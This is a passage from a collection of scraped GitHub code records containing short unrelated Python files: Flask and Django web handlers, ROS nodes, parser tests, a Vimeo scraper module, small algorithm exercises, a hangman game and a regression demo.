random.choice(config[\"upload\"][\"domain\"])\n\n    # Get (and create if not exist) upload dir\n    upload_dir = os.path.normpath(os.path.join(\n        root_folder, config[\"upload\"][\"folder\"]))\n    if not os.path.exists(upload_dir):\n        os.mkdir(upload_dir)\n\n    # check if user has uploaded a file\n    if len(request.files.getlist(\"upload[]\")) < 1:\n        return json_with_statuscode({\n            \"success\": False,\n            \"error\": \"You must upload least than one file.\"\n        }, 400)\n\n    files = request.files.getlist(\"upload[]\")\n    process_files = []\n\n    # process files\n    for file in files:\n        # Check file size\n        size = uploaded_file_size(file)\n        if convert_to_megabites(size) > int(config[\"upload\"][\"max_size\"]):\n            process_files.append({\n                \"success\": False,\n                \"error\": \"File too big\"\n            })\n            continue\n\n        # Check file extention\n        if \".\" in file.filename:\n            ext = os.path.splitext(file.filename)[1]\n        else:\n            ext = None\n\n        if ext in config[\"upload\"][\"unauthorized_ext\"]:\n            process_files.append({\n                \"success\": False,\n                \"error\": \"Invalid extention\"\n            })\n            continue\n                \n        retry_filename = 0\n        find_uniq = False\n\n        while retry_filename < int(config[\"upload\"][\"retry_filename\"]) and not find_uniq:\n            upload_filename = generate_filename(ext)\n\n            if not os.path.exists(os.path.join(upload_dir, upload_filename)):\n                find_uniq = True\n\n            retry_filename += 1\n\n        if not find_uniq:\n            process_files.append({\n                \"success\": False,\n                \"error\": \"Unable to find unique name.\"\n            })\n            continue\n\n        file.save(os.path.join(upload_dir, upload_filename))\n\n        process_files.append({\n            \"success\": True,\n            \"original_filename\": file.filename,\n            \"filename\": upload_filename,\n            \"url\": \"{}/{}\".format(upload_domain, upload_filename),\n            \"size\": size\n        })\n\n    return {\n        \"success\": True,\n        \"files\": process_files\n    }","repo_name":"retouching/dxd.moe","sub_path":"dxdmoe/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":4333,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"8937011567","text":"#!/usr/bin/env python3\nimport pyautogui\nimport rospy\n\n\ndef points_callback(data):\n    touch_point = data.data.split()\n    x_pos = int(touch_point[0])\n    y_pos = int(touch_point[1])\n    if 0 <= x_pos <= 1920 and 0 <= y_pos <= 1056:\n        print(x_pos, y_pos)\n        pyautogui.moveTo(x_pos, y_pos)\n\n\nrospy.init_node('point_grapher', anonymous=True)\npoint_sub = rospy.Subscriber(\"/on_screen_touch_point\", String, points_callback)\nrospy.spin()\n","repo_name":"adamhamden/BodyTrackingProjectorInteraction","sub_path":"image_depth_processor/scripts/pygame.py","file_name":"pygame.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"26491857341","text":"import json\nimport os\nimport os.path\nimport re\nimport unittest\n\nimport six\n\nfrom gherkin_parser import ParseError, parse_lines\n\nclass ParserTestCaseMixin(object):\n    def parse(self, feature_string):\n        return parse_lines(feature_string.split('\\n'))\n\n    def assertErrorMessage(self, feature_string, message):\n        with self.assertRaises(ParseError) as cm:\n            self.parse(feature_string)\n        self.assertEqual(str(cm.exception), message)\n\nclass FeatureTagsTestCase(ParserTestCaseMixin, unittest.TestCase):\n    def test_broken_tags(self):\n        self.assertErrorMessage(u\"\"\"\n            @tag broken tags\n        \"\"\", \"Tags must start with a '@' character, and not contain spaces (line 2)\")\n\nclass FeatureTitleTestCase(ParserTestCaseMixin, unittest.TestCase):\n    def test_empty_title(self):\n        parsed = self.parse(u\"\"\"\n            Feature:\n        \"\"\")\n        self.assertEqual(parsed['title']['content'], '')\n\n    def test_missing_feature_title(self):\n        self.assertErrorMessage(u\"\"\"\n            Not a feature\n        \"\"\", 'Expected feature title (line 2)')\n\n    def test_multiple_feature_titles(self):\n        self.assertErrorMessage(u\"\"\"\n            Feature: Feature 1\n                Scenario:\n                    Given a given\n\n            Feature: Feature 2\n        \"\"\", \"Unexpected {!r}. File must not contain multiple features (line 6)\".format(six.text_type('Feature: Feature 2')))\n\nclass FeatureBackgroundTestCase(ParserTestCaseMixin, unittest.TestCase):\n    def test_background_after_scenario(self):\n        self.assertErrorMessage(u\"\"\"\n            Feature:\n                Scenario:\n\n                Background:\n                    Description 1\n        \"\"\", \"Unexpected {!r}. Background must not occur after scenarios (line 5)\".format(six.text_type('Background:')))\n\nclass ScenarioTestCase(ParserTestCaseMixin, unittest.TestCase):\n    def test_with_examples(self):\n        self.assertErrorMessage(u\"\"\"\n            Feature: Title\n                Scenario: Title\n                    Given I have a given\n\n                    Examples:\n        \"\"\", \"Scenario block has examples section - should be 'scenario outline' (line 3)\")\n\nclass ScenarioOutlineTestCase(ParserTestCaseMixin, unittest.TestCase):\n    def test_without_examples(self):\n        self.assertErrorMessage(u\"\"\"\n            Feature: Title\n                Scenario Outline: Title\n                    Given I have a given\n        \"\"\", \"Scenario Outline block is missing an examples section (line 3)\")\n","repo_name":"nathforge/gherkin-parser","sub_path":"tests/test_errors.py","file_name":"test_errors.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"19"}
{"seq_id":"41048636322","text":"from weboob.capabilities.video import BaseVideo\nfrom weboob.capabilities.image import Thumbnail\nfrom weboob.capabilities.collection import Collection\n\nfrom weboob.exceptions import ParseError\nfrom weboob.browser.elements import ItemElement, ListElement, method\nfrom weboob.browser.pages import HTMLPage, pagination, JsonPage\nfrom weboob.browser.filters.standard import Regexp, Env, CleanText, DateTime, Duration, Field\nfrom weboob.browser.filters.html import Attr, Link, CleanHTML, XPath\nfrom weboob.browser.filters.json import Dict\n\nimport re\n\n\nclass VimeoDuration(Duration):\n    _regexp = re.compile(r'PT(?P<hh>\\d+)H(?P<mm>\\d+)M(?P<ss>\\d+)S')\n\n\nclass ListPage(HTMLPage):\n    @pagination\n    @method\n    class iter_videos(ListElement):\n        item_xpath = '//div[@id=\"browse_content\"]/ol/li'\n        next_page = Link(u'//a[text()=\"Next\"]')\n\n        class item(ItemElement):\n            klass = BaseVideo\n\n            obj_id = Regexp(Attr('.', 'id'), 'clip_(.*)')\n            obj_title = Attr('./a', 'title')\n\n            def obj_thumbnail(self):\n                thumbnail = Thumbnail(self.xpath('./a/img')[0].attrib['src'])\n                thumbnail.url = thumbnail.id\n                return thumbnail\n\n\nclass SearchPage(HTMLPage):\n    @pagination\n    @method\n    class iter_videos(ListElement):\n        item_xpath = '//ul[@class=\"small-block-grid-3\"]/li/div[has-class(\"clip_thumbnail\")]'\n\n        next_page = Link(u'//a[text()=\"Next\"]')\n\n        class item(ItemElement):\n            klass = BaseVideo\n\n            obj_id = Attr('.', 'data-clip-id')\n            obj_title = Attr('./a/span', 'title')\n\n            def obj_thumbnail(self):\n                thumbnail = Thumbnail(self.xpath('./a/div/img')[0].attrib['src'])\n                thumbnail.url = thumbnail.id\n                return thumbnail\n\n\nclass VideoPage(HTMLPage):\n    def __init__(self, *args, **kwargs):\n        super(VideoPage, self).__init__(*args, **kwargs)\n        from weboob.tools.json import json\n        jsoncontent = XPath('//script[@type=\"application/ld+json\"]/text()')(self.doc)[0]\n        self.doc = json.loads(jsoncontent)[0]\n\n    @method\n    class get_video(ItemElement):\n        klass = BaseVideo\n\n        obj_id = Env('_id')\n        obj_title = CleanText(CleanHTML(Dict('name')))\n        obj_description = CleanHTML(Dict('description'))\n        obj_date = DateTime(Dict('uploadDate'))\n        obj_duration = VimeoDuration(Dict('duration'))\n        obj_author = CleanText(Dict('author/name'))\n\n        def obj_nsfw(self):\n            _sfw = Dict('isFamilyFriendly', default=\"True\")(self)\n            return _sfw != \"True\"\n\n        def obj_thumbnail(self):\n            thumbnail = Thumbnail(Dict('thumbnailUrl')(self.el))\n            thumbnail.url = thumbnail.id\n            return thumbnail\n\n\nclass VideoJsonPage(JsonPage):\n    @method\n    class fill_url(ItemElement):\n        klass = BaseVideo\n\n        def obj_url(self):\n            data = self.el\n\n            if not data['request']['files']:\n                raise ParseError('Unable to detect any stream method for id: %r (available: %s)'\n                                 % (int(Field('id')(self)),\n                                    data['request']['files'].keys()))\n\n            # Choosen method is not available, we choose an other one\n            method = self.obj._method\n            if method not in data['request']['files']:\n                method = data['request']['files'].keys()[0]\n\n            streams = data['request']['files'][method]\n            if not streams:\n                raise ValueError('There is no url available for id: %r' % (int(Field('id')(self))))\n\n            # stream is single for hls, just return the url\n            stream = streams['url'] if method == 'hls' else None\n\n            # ...but a list for progressive\n            # we assume the list is sorted by quality with best first\n            if not stream:\n                quality = self.obj._quality\n                stream = streams[quality]['url'] if quality < len(streams) else streams[0]['url']\n\n            return stream.split('?')[0]\n\n        obj_ext = Regexp(Field('url'), '.*\\.(.*)$', '\\\\1')\n\n\nclass CategoriesPage(HTMLPage):\n    @method\n    class iter_categories(ListElement):\n        item_xpath = '//div[@class=\"category_grid\"]/div/a'\n\n        class item(ItemElement):\n            klass = Collection\n\n            obj_id = CleanText('./@href')\n            obj_title = CleanText('./div/div/p')\n\n            def obj_split_path(self):\n                split_path = ['vimeo-categories']\n                category = CleanText('./@href', replace=[('/categories/', '')])(self)\n                split_path.append(category)\n                return split_path\n\n\nclass ChannelsPage(HTMLPage):\n    @pagination\n    @method\n    class iter_channels(ListElement):\n        item_xpath = '//div[@id=\"browse_content\"]/ol/li'\n        next_page = Link('//li[@class=\"pagination_next\"]/a')\n\n        class item(ItemElement):\n            klass = Collection\n\n            obj_title = CleanText('div/a/div/p[@class=\"title\"]')\n            obj_id = CleanText('./@id')\n\n            def obj_split_path(self):\n                split_path = ['vimeo-channels']\n                channel = CleanText('div/a/@href', replace=[('/channels/', '')])(self)\n                split_path.append(channel)\n                return split_path\n","repo_name":"biddyweb/weboob","sub_path":"modules/vimeo/pages.py","file_name":"pages.py","file_ext":"py","file_size_in_byte":5316,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"208897779","text":"from .models import CustomerInfo, CustomerDocument \nfrom django.forms import ModelForm\nfrom django import forms\n\n\n\nCUSTOMER_CHOICES = [\n    ('commercial', 'Commercial'),\n    ('private', 'Private'),\n]\n\nclass CustomerTypeForm(forms.Form):\n    customer_chioces = forms.CharField(label=\"Customertype\", widget=forms.RadioSelect(choices=CUSTOMER_CHOICES))\n    \nclass CustomerInfoForm(forms.ModelForm):\n    class Meta:\n        model = CustomerInfo\n        fields = \"__all__\"\n    \nclass CustomerDocumentForm(forms.ModelForm):\n    class Meta:\n        model = CustomerDocument\n        fields = ['document']","repo_name":"vingeophysicist/data1","sub_path":"datacollector/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"1057501320","text":"import math\n'''\n    optimal scheduling problem: greedy\n\n    given a list of intervals where an interval is semi open / closed --> [s, f)\n        s < f\n\n    find the optimum schedule, meaning the schedule with the most intervals possible that are compatible with each other\n\n    interval a is compatible with b if they don't overlap\n        b[0] >= a[1] or a[0] >= b[1]\n\n'''\ndef optimalSchedule(intervals : list[list[int]]):\n    # sort intervals by end time\n    sortedIntervals = intervals[:]\n    sortedIntervals.sort(key=lambda interval : interval[1])\n\n    result = [[-math.inf, -math.inf]]\n\n    for interval in sortedIntervals:\n        if interval[0] >= result[-1][1]: # compatibility\n            result.append(interval)\n\n    return result[1:]\n\n'''\nexample run through on hw 4 problem 8\n'''\ntasks = [[14,15],[10,13],[1,5],[4,6],[8,11],[11,16],[3,6],[2,4],[7,10],[12,14]]\n\n# sort tasks by their end time (second item in the interval)\n# if 2 end times are the same,sort by their start time\ntasks = [[2,4],[1,5],[3,6],[4,6],[7,10],[8,11],[10,13],[12,14],[14,15],[11,16]]\n\n# loop through sorted tasks and add element i to our result list if element i is\n# compatible with the last element saved\nlastInterval = [-math.inf, -math.inf]\n\ni = 1\nresult = [[2,4]]\nlastInterval = [2,4]\n\ni = 2\nresult = [[2,4]] # elem at i = 2 isn't compatible --> don't add to result list\nlastInterval = [2,4]\n\ni = 3 # elem isn't compatible\n\ni = 4\nresult = [[2,4],[4,6]]\nlastInterval = [4,6]\n\ni = 5\nresult = [[2,4],[4,6],[7,10]]\nlastInterval = [7,10]\n\ni = 6 # elem isn't compatible\n\ni = 7\nresult = [[2,4],[4,6],[7,10],[10,13]]\nlastInterval = [10,13]\n\ni = 8 # elem isn't compatible\n\ni = 9\nresult = [[2,4],[4,6],[7,10],[10,13],[14,15]]\nlastInterval = [14,15]\n\ni = 10 # elem isn't compatible\n","repo_name":"zachtango/ds-alg-hw","sub_path":"greedy/scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"12987062121","text":"import random\n\nclass Hangman:\n    def __init__(self, word_list, num_lives=5):\n        self.word = random.choice(word_list).lower()\n        self.word_guessed = ['_' for _ in self.word]\n        self.num_letters = len(set(self.word))\n        self.num_lives = num_lives\n        self.word_list = word_list\n        self.list_of_guesses = []\n\n    def check_guess(self, guess):\n        guess = guess.lower()\n        if guess in self.word:\n            print(f\"Good guess! {guess} is in the word.\")\n            # Update the word_guessed to reveal the letter\n            for index, letter in enumerate(self.word):\n                if letter == guess:\n                    self.word_guessed[index] = guess\n            # Reduce the number of unique letters if this was the first occurrence of the letter\n            if guess not in self.list_of_guesses:\n                self.num_letters -= 1\n        else:\n            self.num_lives -= 1\n            print(f\"Sorry, {guess} is not in the word. You have {self.num_lives} lives left.\")\n\n    def ask_for_input(self):\n        while True:\n            guess = input(\"Guess a letter: \")\n            if not guess.isalpha() or len(guess) != 1:\n                print(\"Invalid letter. Please, enter a single alphabetical character.\")\n            elif guess in self.list_of_guesses:\n                print(\"You already tried that letter!\")\n            else:\n                self.list_of_guesses.append(guess)\n                self.check_guess(guess)\n                break  # Exit the loop if a valid guess was made\n\nif __name__ == \"__main__\":\n    word_list = ['apple', 'banana', 'cherry', 'date', 'elderberry']\n    game = Hangman(word_list)\n    \n    # Keep asking for user input until the word is guessed or lives run out\n    while game.num_lives > 0 and '_' in game.word_guessed:\n        print(f\"Word guessed so far: {' '.join(game.word_guessed)}\")\n        game.ask_for_input()\n        \n        if game.num_letters == 0:\n            print(f\"Congratulations! You've guessed the word '{game.word}' correctly!\")\n            break\n        elif game.num_lives == 0:\n            print(f\"Game over! The word was '{game.word}'. Better luck next time.\")\n\n","repo_name":"adebayopeter/hangman","sub_path":"hangman/milestone_4.py","file_name":"milestone_4.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"29582783176","text":"# https://www.kaggle.com/c/boston-housing\n# https://towardsdatascience.com/linear-regression-on-boston-housing-dataset-f409b7e4a155\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport seaborn as sns\n\n#l load dataset from scikit-learn\nfrom sklearn.datasets import load_boston\nboston_dataset = load_boston()\n\nprint(boston_dataset.keys())\n# dict_keys(['data', 'target', 'feature_names', 'DESCR', 'filename'])\n# 'data' - contains the info for various houses\n# 'target' - prices of the house\n# 'feature_names' - names of the features\n# 'DESCR' - describes the dataset\n\n# print more about the dataset\nprint(boston_dataset.DESCR)\n\n# load data into pandas dataframe\nboston = pd.DataFrame(boston_dataset.data, columns=boston_dataset.feature_names)\nprint(boston.head())\n\n# Prepare the data for training the mode\nboston[\"PRICE\"] = boston_dataset.target\nboston.isnull().sum() # count the number of missing values\n\nX = boston.drop('PRICE', axis=1)\nY = boston['PRICE']\n\n# split the data into training and testing sets\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size = 0.2, random_state=5)\nprint(\"X_train: \", X_train.shape, \"\\n\",\n      \"Y_train: \", Y_train.shape, \"\\n\",\n      \"X_test: \", X_test.shape, \"\\n\",\n      \"Y_test: \", Y_test.shape)\n\n# X_train:  (404, 2)\n# Y_train:  (404,)\n# X_test:  (102, 2)\n# Y_test:  (102,)\n\n# plot regression\nfrom sklearn.linear_model import LinearRegression\nlinearRegression = LinearRegression()\nlinearRegression.fit(X_train, Y_train)\n\nY_pred = linearRegression.predict(X_test)\n\nplt.scatter(Y_test, Y_pred)\nplt.xlabel(\"Prices\")\nplt.ylabel(\"Predicted prices\")\nplt.title(\"Boston houses prices\")\nplt.savefig('DL_hw1.png')\n\n\n# compute mean squared error\n# https://scikit-learn.org/stable/modules/generated/sklearn.metrics.mean_squared_error.html\nfrom sklearn.metrics import mean_squared_error\n\n# number of samples : [102, 404] - it not works\nmeanSquaredError = mean_squared_error(Y_test, Y_train)\nprint(\"mean squared error: \", meanSquaredError)\n","repo_name":"Dona-Donka/PWR_Big_Data_Analytics","sub_path":"bostonHousing.py","file_name":"bostonHousing.py","file_ext":"py","file_size_in_byte":2056,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"45263645743","text":"\nimport train_cnn as cnn\nfrom source import params\nimport eval\n\n\ndef main():\n    args = params.opt\n\n    if args.evaluate:\n        eval.evaluate(args.path, args.dataset)\n    else:\n        cnn.train()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"fudonglin/IMSIC","sub_path":"source/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"21648149357","text":"import logging\nimport shutil\nimport tempfile\nimport zipfile\nfrom pathlib import Path\n\nfrom ..helpers.system import download_file\nfrom .git_url import GitUrl\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef git_download_zip(repo_url: str, target_folder: Path, branch: str, commit: str = \"\"):\n    \"\"\"Download Repo Zip from Github.\n\n    Parameters\n    ----------\n    repo_url : str\n        Github Repo Url\n    target_folder : Path\n        Download Target\n    branch : str\n        BRanch to download\n    commit : str, optional\n        Specific Commit to download, by default \"\"\n\n    Raises\n    ------\n    FileNotFoundError\n        If Download failed\n    \"\"\"\n    git_url = GitUrl(repo_url)\n    download_url = git_url.get_archive_url(ref=commit or branch)\n    with tempfile.TemporaryDirectory() as tdir:\n        zip_path = Path(tdir) / f\"{git_url.name}.zip\"\n        LOGGER.info(\"Downloading GitRepo Zip: '%s'\", download_url)\n        LOGGER.debug(\"Target Path: '%s' \", zip_path)\n        download_file(download_url, zip_path)\n        if not zip_path.exists():\n            raise FileNotFoundError(f\"Could not download Repo Zip from: {download_url}\")\n        LOGGER.info(\"Extracting GitRepo Zip: %s\", git_url.name)\n        ex_location = Path(tdir) / \"extract\"\n        with zipfile.ZipFile(zip_path, \"r\") as zip_ref:\n            zip_ref.extractall(ex_location)\n        for path in ex_location.glob(\"*\"):\n            LOGGER.info(\"Moving %s to %s\", path.stem, target_folder)\n            shutil.rmtree(target_folder, ignore_errors=True)\n            path.rename(target_folder)\n            break\n","repo_name":"OpenJKSoftware/gOdoo","sub_path":"src/godoo_cli/git/zip_download.py","file_name":"zip_download.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"}
{"seq_id":"3839714351","text":"res = 0\n\n\nclass Node:\n    def __init__(self, level):\n        self.children = {}\n        self.value = None\n        self.level = level\n\n    def insert(self, value):\n        node = self\n        for c in value:\n            if c not in node.children:\n                node.children[c] = Node(self.level + 1)\n            node = node.children[c]\n        node.value = value\n\n    def print(self):\n        if self.value is not None:\n            print(self.value)\n        for k in self.children:\n            print(\">\", end=\"\")\n            self.children[k].print()\n            print(\"<\", end=\"\")\n\n    def compact(self):\n        node = self\n        global res\n        to_be_deleted_keys = set()\n        for k, child in node.children.items():\n            child.compact()\n            if len(child.children) == 0 and child.value is None:\n                # delete\n                to_be_deleted_keys.add(k)\n        for k in to_be_deleted_keys:\n            del node.children[k]\n\n        if len(node.children) == 1 and len(list(node.children.values())[0].children) == 0:\n            if node.value:\n                # print(\"+\", node.value, list(node.children.values())[0].value)\n                res += 2\n                node.value = None\n            else:\n                node.value = list(node.children.values())[0].value\n            node.children = {}\n\n        if len(node.children) >= 2 and self.level > 0:\n            l = list(node.children.values())\n            if (l[0].value is not None and l[1].value is not None):\n                # print(\"+\", l[0].value, l[1].value)\n                res += 2\n                node.children = {}\n\n\nt = int(input())  # read a line with a single integer\nfor i in range(1, t + 1):\n    res = 0\n    root = Node(0)\n    n = int(input())\n    ws = [input() for w in range(n)]\n    for w in ws:\n        root.insert(w[::-1])\n    # root.print()\n    root.compact()\n    # root.print()\n    print(\"Case #{}: {}\".format(i, res))\n","repo_name":"fikriauliya/competitive-programming","sub_path":"Google Code Jam/src/2019/alien_rhyme.py","file_name":"alien_rhyme.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"29209419153","text":"from django.urls import path\r\n\r\nfrom users import views\r\n\r\nurlpatterns = [\r\n    path('signup/<str:public_id>/', views.SignUpView.as_view(), name='signup'),\r\n    path('profile/edit/', views.EditProfileView.as_view(), name='profile_edit'),\r\n    path('currencies/', views.ListProfileCurrencyView.as_view(), name='currencies_list'),\r\n    path('currencies/new/', views.CreateProfileCurrencyView.as_view(), name='currency_create'),\r\n    path('currencies/<int:pk>/delete/', views.DeleteProfileCurrencyView.as_view(), name='currency_delete'),\r\n    path('invitations/', views.ShowInvitationsView.as_view(), name='invitations'),\r\n    path('submissions/', views.BandSubmissionsView.as_view(), name='submissions'),\r\n    path('submission-details/<int:pk>', views.BandSubmissionDetailView.as_view(), name='submission_details'),\r\n    path('trade-requests/', views.TradeRequestListView.as_view(), name='trade_requests'),\r\n    path('trade-details/<int:pk>/', views.TradeRequestDetailView.as_view(), name='trade_details'),\r\n    path('user-trade-details/<int:pk>/', views.UsersTradeRequestDetailView.as_view(), name='user_trade_details'),\r\n]\r\n","repo_name":"adiletto64/music-releases","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"38182554471","text":"from django.contrib.auth import authenticate, logout\nfrom django.shortcuts import render, get_object_or_404\nfrom rest_framework import generics, status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom users.models import User, Friendship\nfrom users.serializers import UserDetailSerializer, UsersListSerializer, \\\n    UserFriendRequestSerializer\nfrom users.utils import friend_accept_util\n\n\n@api_view(['GET'])\ndef user_list(request):\n    all_users = User.objects.all()\n    serializer = UsersListSerializer(all_users, many=True)\n\n    return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef user_me(request):\n    user = request.user\n    serializer = UserDetailSerializer(user)\n\n    return Response(serializer.data)\n\n\n@api_view(['POST'])\ndef friend_request(request, user_id):\n    auth_user = request.user\n    another_user = User.objects.filter(id=user_id).first()\n    auth_user.friends.add(another_user)\n\n    serializer = UserFriendRequestSerializer(another_user)\n\n    return Response(serializer.data)\n\n\n@api_view(['POST'])\ndef friend_accept(request, user_id):\n    to_user_id = user_id\n    from_user = request.user\n    status_to_change = request.data['status']\n\n    friend_accept_util(from_user, to_user_id, status_to_change)\n\n    return Response(True)\n\n\n@api_view(['GET'])\ndef friends(request):\n\n    user = request.user\n\n    serializer = UsersListSerializer(user.friends, many=True)\n    return Response(serializer.data)\n","repo_name":"Pavel-Krotkikh/HyggesoftwareTestTask","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"11314151214","text":"#!/usr/bin/python\nimport rospy\nimport numpy as np\nfrom std_msgs.msg import Float32\nfrom sensor_msgs.msg import PointCloud\n\nclass WallDetectorNode:\n\tdef __init__(self):\n\t\t# Subscribe to laser data\n\t\trospy.Subscriber(\"point_cloud\", PointCloud, self.point_cloud_callback)\n\n\t\t# Publish a distance to wall and signed angle(radians) to turn \n\t\tself.wall_pub_dist = rospy.Publisher(\"wall_detector/distance\", Float32, queue_size=10)\n\t\tself.wall_pub_theta = rospy.Publisher(\"wall_detector/theta\", Float32, queue_size=10)\n\n\tdef point_cloud_callback(self, msg):\n\t\tx = []\n\t\ty = []\n\t\tfor point in msg.points:\n\t\t\tif -3 <= point.x <= 3 and -10 < point.y < -0.3:\n\t\t\t\tx.append(point.x)\n\t\t\t\ty.append(point.y)\n\n\t\tif(len(x) < 5):\n\t\t\treturn;\n\n\t\tm, b = np.polyfit(x,y,1)\n\n\t\torigin = [0,0]\n\t\tnorm = [-m, 1]\n\n\t\tdistance = abs(np.dot(norm, origin)-b)/np.linalg.norm(norm)\n\t\ttheta = -np.math.atan2(np.cross(norm, [0,1]), np.dot(norm, [0,1]))\n\t\t\n\t\twall_msg_dist = Float32()\n\t\twall_msg_theta = Float32()\n\t\twall_msg_dist.data = distance\n\t\twall_msg_theta.data = theta\n\n\t\tself.wall_pub_dist.publish(wall_msg_dist)\n\t\tself.wall_pub_theta.publish(wall_msg_theta)\n\nif __name__ == \"__main__\":\n\trospy.init_node(\"wall_detector_node\")\n\tWallDetectorNode()\n\trospy.spin()\n\n","repo_name":"loc-trinh/Racecar","sub_path":"_archive/lab3/sensor_processing/scripts/wall_detector.py","file_name":"wall_detector.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"19"}
{"seq_id":"16936565936","text":"decrescente = True\nanterior = int(input(\"Digite o primeiro numero da sequencia: \"))\nvalor = 1\n\nwhile valor != 0 and decrescente:\n     valor = int(input(\"Digite o proximo numero da sequencia: \"))\n     if valor > anterior:\n          decrescente = False\n     anterior = valor\n\nif decrescente == True:\n     print(\"SHOW! Ordem descrescente!!\")\nelse:\n     print(\"Ordem nao decrescente!\")","repo_name":"ric78x/cursoUSP","sub_path":"indicador de passagem.py","file_name":"indicador de passagem.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"33582597886","text":"from coordinate_system import CoordinateSystem\nfrom fsm import FSM\nfrom vaccine import Vaccine\nfrom operate import Operate\nimport constants\nfrom report import Report\nfrom multiprocessing import Process\nfrom random import randint\n\ndef plan(fileoutName,virusPlotName,runNumber):\n\n\tfileT = fileoutName+str(runNumber)+\".dat\"\n\tfileT2 = virusPlotName+str(runNumber)\n\n\tl = []\n\tfor i in range(0,constants.N_vacc):\n\t\tx = randint(constants.cs_minX,constants.cs_maxX)\n\t\ty = randint(constants.cs_minY,constants.cs_maxY)\n\t\tl.append((x,y))\n\n\toperator = Operate(CoordinateSystem(),[FSM(24,1)],Vaccine(l))\n\treporter = Report(operator,fileT,fileT2,[0.33,0.42,0.5,0.58,0.67])\n\n\tfor i in range(constants.N_turns):\n\t\toperator.run()\n\t\treporter.update()\n\t\treporter.reveal_virus(i)\n\n\treporter.output()\n\ndef main():\n\tn_cores = 48\n\tfor i in range(100):\n\t\tprint(i)\n\t\tp = Process(target=plan, args=('Feb9_run_','virus_spatial_',i))\n\t\tp.start()\n\t\tif(i % n_cores == 0 and i != 0):\n\t\t\tp.join()\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"918particle/FSMVirus","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"4761375679","text":"# https://www.acmicpc.net/problem/11725\n\nimport sys\nfrom collections import deque\n\ninput = sys.stdin.readline\n\n\nN = int(input())\n\nTree = [[] for _ in range(N+1)]\n\nanswer = [-1]*(N+1)\nvisited = [-1]*(N+1)\n\nfor i in range(N-1):\n    parent, child = map(int, input().split())\n    Tree[parent].append(child)\n    Tree[child].append(parent)\n    \nqueue = deque()\n\nqueue.append(1)\nvisited[1] = 0\n\nwhile queue:\n    new_Node = queue.popleft()\n    for i in Tree[new_Node]:\n        if(visited[i] == -1):\n            answer[i] = new_Node\n            visited[i] = 0\n            queue.append(i)\n            \nfor i in answer[2:]:\n    print(i)\n    \n ","repo_name":"hongju-jeong/python-algorithm","sub_path":"Tree/P11725_트리의_부모_찾기.py","file_name":"P11725_트리의_부모_찾기.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"35849076145","text":"from flask import Flask, request, jsonify\n\napp = Flask(__name__)\n\n# Sample data (for demonstration purposes)\ndoctors = [\n    {\n        \"id\": 1,\n        \"name\": \"Dr. John Smith\",\n        \"specialization\": \"Internal Medicine\",\n        \"available_days\": [\"Monday\", \"Tuesday\", \"Wednesday\"],\n        \"max_patients\": 5,\n    },\n    {\n        \"id\": 2,\n        \"name\": \"Dr. Jane Doe\",\n        \"specialization\": \"Pediatrics\",\n        \"available_days\": [\"Tuesday\", \"Thursday\", \"Friday\"],\n        \"max_patients\": 6,\n    },\n]\n\n# Defining a route to list all doctors\n@app.route(\"/doctors\", methods=[\"GET\"])\ndef list_doctors():\n    return jsonify(doctors)\n\n# Defining a route to retrieve details of a specific doctor\n@app.route(\"/doctors/<int:doctor_id>\", methods=[\"GET\"])\ndef get_doctor(doctor_id):\n    doctor = next((doc for doc in doctors if doc[\"id\"] == doctor_id), None)\n    if doctor:\n        return jsonify(doctor)\n    return jsonify({\"error\": \"Doctor not found\"}), 404\n\n# Defining a route to book an appointment with a doctor\n@app.route(\"/appointments\", methods=[\"POST\"])\ndef book_appointment():\n    data = request.get_json()\n    doctor_id = data.get(\"doctor_id\")\n    appointment_date = data.get(\"appointment_date\")\n    return 